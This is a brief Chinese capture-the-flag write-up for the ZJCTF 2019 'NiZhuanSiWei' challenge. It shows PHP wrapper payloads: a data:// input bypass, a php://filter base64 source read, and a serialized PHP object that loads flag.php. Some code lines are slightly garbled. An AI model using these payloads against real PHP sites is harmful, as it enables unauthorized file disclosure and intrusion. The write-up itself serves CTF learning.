考点:PHP伪协议、
2019]NiZhuanSiWei
-
考点:PHP伪协议、
-
打开后是源码,拖到vscode里审计
-
第一个绕过点:
if(isset(text,‘r’)===“welcome to the zjctf”))
-
可以用data://写入协议
-
所以第一个payload: ?text=data://text/plain,welcome to the zjctf
-
接着审计,第二个绕过的地方是,这里会正则匹配flag
if(preg_match("/flag/",$file)){ echo “Not Now!”; exit(); }
-
所以不能用flag.PHP,file的传参里不能有flag,else里会包含unless.PHP,用filter看一下unless.PHP
-
第二个payload:file=PHP://filter/read=convert.base64-encode/resource=useless.PHP
-
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}
-
第三个payload:?text=data://text/plain,welcome to the zjctf&file=useless.PHP&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}
-
然后在源码中就可以找到flag